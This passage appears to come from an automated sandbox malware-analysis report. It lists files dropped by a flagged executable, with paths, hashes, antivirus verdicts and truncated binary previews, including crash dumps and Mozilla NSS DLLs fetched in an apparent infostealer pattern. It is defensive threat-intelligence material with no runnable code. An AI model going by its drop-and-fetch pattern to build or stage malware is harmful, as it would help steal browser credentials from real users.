Preview:	MDMP..a..... ........k.f............4...............<.......D....7..........T.......8...........T............^..Q............&...........(..............................................................................eJ......h)......GenuineIntel............T.......t....k.f.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8196.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8336
Entropy (8bit):	3.6935069616335157
Encrypted:	false
SSDEEP:	192:R6l7wVeJ8f6aCU6Yyt6EML5gmfeQzEvcbpD789bmBsf7im:R6lXJ86aCU6Yg6EML5gmfeylym6ff
MD5:	78D2FAAF5F5C3EF5907CD1D52C3D6812
SHA1:	9A58904CC3DB04D03B465B0AF55EF3A4B1A60387
SHA-256:	7DED80B88B71191B430AB782F80BC4642022FA58FDE55770C495AAE5B42F041F
SHA-512:	126B344A5516BF0A1AED674BC4CDFB223A78F75F6FE214627D1CA00B9BC02B678F6032458F66FA15293BD2DC6A6545FDC8B2506833849FA1F6076BC729746916
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.8.0.5.2.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER81C6.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4579
Entropy (8bit):	4.44377298209259
Encrypted:	false
SSDEEP:	48:cvIwWl8zscNJg77aI9K1WpW8VYbPYm8M4JGVFp+q80nbuA55kBWkhQd:uIjfcnI7ME7V2SJetbuAoBrhQd
MD5:	1577053DC76D91E442512B0732CBDF6F
SHA1:	1A0407A1A1B40486D759FFCA536151A9385CDBE9
SHA-256:	2477D8A72A5BE3F1075C293D1486CCB68340F4C818AE694A3B818D2B853117F4
SHA-512:	5EF76C4F9EA1E40A962664594A5DFF29D545AD21D3D9F6AB9F41D35ACFA844851D708624C1E18DE7AF568973FF2E11A75E079180ED007931773AEA9D8D30DD41
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="428802" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER857D.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Sat Jul 27 03:39:31 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	63861
Entropy (8bit):	2.0325311221746927
Encrypted:	false
SSDEEP:	384:n8AqJLJwElmkOoZqg3N9XgL1kOtNP5EZu/hS:8DJLJwEll5+13BEb
MD5:	0F3F4E5C612222085CA24EF4700CF06C
SHA1:	31C2E69257FEE868C0D4A541BC578AA0B99E49C5
SHA-256:	5FF251419EEBB6E2AA68D110E9D45828343852AC0A37A76D29C34FBE54BE6FE7
SHA-512:	4C4E3BC5114B24CF999A747AC66237B52315AD3CDF65A9CABDE996ABA07771F9A8B27CF0028E615782430C35F64E7E55CB7E6643C1EBAF1509078E31733F01F1
Malicious:	false
Preview:	MDMP..a..... ........k.f............4...............<.......D...0*..........T.......8...........T............2..............X...........D...............................................................................eJ..............GenuineIntel............T.......0....k.f............................. ..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8698.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8348
Entropy (8bit):	3.697884448301002
Encrypted:	false
SSDEEP:	192:R6l7wVeJLy16VGQ6Y9hSUwqgmf6i3cbpD789b0BsfL3q8m:R6lXJU6VGQ6Y7SUwqgmf6isy06fjA
MD5:	58667761CF538973CE8169287722A29A
SHA1:	83420B824D48B1079526EB95F3FD7B035963ACA0
SHA-256:	3D2309BBADBB9A4C1F44AA2450EF5EDCB57E17AD2E59FA46B49B5BBCFFC3DBDD
SHA-512:	0608714D1981284FE97D5F3A5C80D14E96E6DB48757AEC51E70FC2147392C923C1E6933F384CE486F243D7BB05A9A41D55C3771A3CC3950AF480E6646927DFAC
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.7.0.4.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER86D7.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4583
Entropy (8bit):	4.4458036515444075
Encrypted:	false
SSDEEP:	48:cvIwWl8zscNJg77aI9K1WpW8VYeYm8M4JGnFz+q8cIA55kBWkAd:uIjfcnI7ME7VGJ+2AoBrAd
MD5:	8C1731F68F5070235B3DCF8F31874493
SHA1:	896E9B288C28EACB1BC759759E4E02838F7A433A
SHA-256:	F8A2C467D97966573E5521B5F45AD03EA864AE89FD140CD8643DF8B61A4C41C3
SHA-512:	9D0D1B3FC1C84C6FF94A6A3DEE6268561F42F93328C4985532119AD74432A295F8FB438022D65DE3527E498D4F7454750F682065F454397987A7FA57A9A40FEE
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="428802" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC10F.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Sat Jul 27 03:39:47 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	63937
Entropy (8bit):	2.0324641870557554
Encrypted:	false
SSDEEP:	384:J8AqJDa1wEqpmcc5qYbULkRwkP4RLYeZAE/wj7:GDJDMwE9rw2W3dU7
MD5:	F177CBC5A1CA83D754FFFA78337C6BF7
SHA1:	19CAB3BCB0AF6FD5CE695D18D52F154B413D7475
SHA-256:	41EC43A0B0C7D458E71A0C21212382B6E88D533678DDBEDA15E60A0C53AA3395
SHA-512:	8B254B82910D41B17267B4EA3840686413E6FA19BC7653505FF33DE4FBA5259501C98E0CE78041372C97C741C9A73B77166F7D173575E9C68D9B09C010381C3C
Malicious:	false
Preview:	MDMP..a..... ........l.f............4...............<.......D...0*..........T.......8...........T............2..............X...........D...............................................................................eJ..............GenuineIntel............T.......P....k.f............................. ..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC1CC.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8344
Entropy (8bit):	3.6972006088482807
Encrypted:	false
SSDEEP:	192:R6l7wVeJPB6SDb6Y9qSU3agmf6i3cbpDH89b+Ysf3Km:R6lXJZ6SDb6YASU3agmf6is2+LfL
MD5:	65DF7CFEEC6692F09FF078F3767420FA
SHA1:	A947177EF18A0C3540C270CAA0B227BFF70C9E5E
SHA-256:	8ECC05EA6100B7EFC3B67BDD12E60CA0D4348E2AB617E663D546ECAA3C98AB9C
SHA-512:	0EBA819F729DC1BFA23AD73BE54D0A143F0CC7CDD43F796EB2342D1CE47C21652F7E369B368A8CAB6D10F8FE1E4CD86BC9A151CD728516CCBD4309519BFE32AE
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.8.4.8.<./.P.i.d.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC1FC.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4583
Entropy (8bit):	4.4468884955490395
Encrypted:	false
SSDEEP:	48:cvIwWl8zscNJg77aI9K1WpW8VYeYm8M4JGnFv+q8cjA55kBWkUd:uIjfcnI7ME7VKJe1AoBrUd
MD5:	41FCCE3FA5C1F0E8AF84A419D240186E
SHA1:	E6011D1830B07D02DF74BA702D7530B31C7E320E
SHA-256:	C73EED20D2A1DD0B112923C814F4B84DA943FDE7F6967AC29B09FCE254513C99
SHA-512:	9A0EA1B4F784DB509EE2BF734F0E01C7B7DA32161AA379550ABE068F989C3FC074F903A9B52E20031E574359D6CFC6A98FF5C94A395EFC2CDBF69CD8048D0817
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="428802" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 1lKbb2hF7fYToopfpmEvlyRN.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 6SoKuOqyNh.exe, Detection: malicious, Browse Filename: IRqsWvBBMc.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\userKFHCAEGCBF.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1879552
Entropy (8bit):	7.950662988179838
Encrypted:	false
SSDEEP:	49152:uC3mmnNqYsw0RRJYlktVMs6lwLzJDnKAy9L6L910UWScm:ntq5t2lkt1LzxOW510Uf
MD5:	4244BD9C011F09D5FB95BBE4CDA9EA93
SHA1:	646DD0D5A7C72F617858F662860CC6AED0EF2753
SHA-256:	64216D77F5F0645DA5D3C5BD169875272A1E964F5C69A89151E8C4AE61ECB8EA
SHA-512:	F1AA7456A20C8031652D1A0589B7FC5189AD8F5A01659375C90124E0E0C1FF1C2174ACA0ECF9595C43B0B9C56F790B9708FA58008E69D482951795D581D99A21
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L....@.f..............................J...........@...........................J......^....@.................................W...k...........................lrJ..............................rJ..................................................... . ............................@....rsrc...............................@....idata ............................@... .0*.........................@...finyobjn......0.....................@...cveoqpqu......J.....................@....taggant.0....J.."..................@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	250368
Entropy (8bit):	6.034216220616155
Encrypted:	false
SSDEEP:	3072:8COU4fRBfYChgFH+7H0tZk+KjRLTyl8A4WR1kuw8Zry3sclrrl5HO:vJ4frgChgU4ZHQhT3A4sSu7WR/l
MD5:	0EF35662ABBE44CF6E064CB524B10742
SHA1:	E022EBFC8011CDDA89BD682001807E87F29DE564
SHA-256:	5ADCB9C55CB600170C65B603951EF9B4A9A6E6DD95A7EED765A371BF51D2719E
SHA-512:	86362E5CFD03A9ADFC030BDF3DF34D11A8F0A9799615F0204B96167CD1F81986DE62F2533800D6D590041BCCE7793C62D022E2D623532AD995D582D2EE7B3AFB
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 39%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Tg.s... ... ... .pQ ... .pd ... .pP t.. .~i ... ... d.. .pU ... .p` ... .pg ... Rich... ........PE..L...,..e.....................x....... .......0....@..........................`...............................................X..x...................................\Y...............................S..@............0...............................text...p........................... ..`.rdata...2...0...4..................@..@.data........p.......R..............@....casiwid............................@..@.mufu................2..............@....rsrc................6..............@..@................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe
